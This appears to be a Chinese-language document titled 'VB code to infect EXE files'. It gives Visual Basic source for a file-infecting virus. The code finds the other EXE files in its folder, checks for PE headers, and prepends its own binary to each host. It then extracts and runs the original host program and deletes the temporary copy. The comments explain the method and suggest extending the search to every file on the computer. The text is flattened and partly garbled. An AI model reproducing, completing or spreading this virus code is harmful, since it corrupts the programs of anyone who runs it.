VB写感染EXE文件代码.docx

Option ExplicitPrivate Victim As String 要感染的文件的名字Private HostLen As Long 要感染的文件的大小Private vbArray() As Byte 病毒的代码Private hArray() As Byte 要感染的文件的代码Private lenght As LongPrivate MySize As Integer 病毒的大小Private Declare Function GetExitCodeProcess Lib kernel32 (ByVal hProcess As Long, lpExitCode As Long) As LongPrivate Declare Function OpenProcess Lib kernel32 (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As LongPrivate iResult As LongPrivate hProg As LongPrivate idProg As LongPrivate iExit As LongConst STILL_ACTIVE As Long = H103Const PROCESS_ALL_ACCESS As Long = H1F0FFFPrivate Sub form_Initialize()Dim i As LongOn Error GoTo vbVerror 出错处理原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。[killv.net]Open App.Path \ App.EXEName .exe For Binary Access Read As #1ReDim MyArray(LOF(1) - 1)MySize = LOF(1)ReDim vbArray(MySize)Get #1, 1, vbArrayClose #1这是在读自己的代码Victim = Dir(App.Path \ *.EXE)随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）While Victim If Format(Victim, ) Format(App.EXEName .EXE, ) ThenOpen App.Path \ Victim For Binary Access Read As #1ReDim hArray(LOF(1))Get #1, 1, hArrayClose #1读出病毒自身的代码If hArray(H69) H4D Theni = hArray(H3C)If hArray(i) = H50 ThenOpen App.Path \ Victim For Binary Access Write As #1Put #1, , vbArrayPut #1, MySize, hArrayClose #1End If 要保证被感染的不是空文件（不是圈套）End IfEnd If读出准备被感染的文件的代码Victim = Dir() NextWend下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。Open App.Path \ App.EXEName .exe For Binary Access Read As #1lenght = LOF(1) - MySizeIf lenght 0 ThenReDim vbArray(lenght - 1)Get #1, MySize, vbArrayClose #1Open App.Path \ App.EXEName .eve For Binary Access Write As #1Put #1, , vbArrayClose #1idProg = Shell(App.Path \ App.EXEName .eve, vbNormalFocus)hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)GetExitCodeProcess hProg, iExitDo While iExit = STILL_ACTIVEDoEventsGetExitCodeProcess hProg, iExitLoopKill App.Path \ App.EXEName .eveE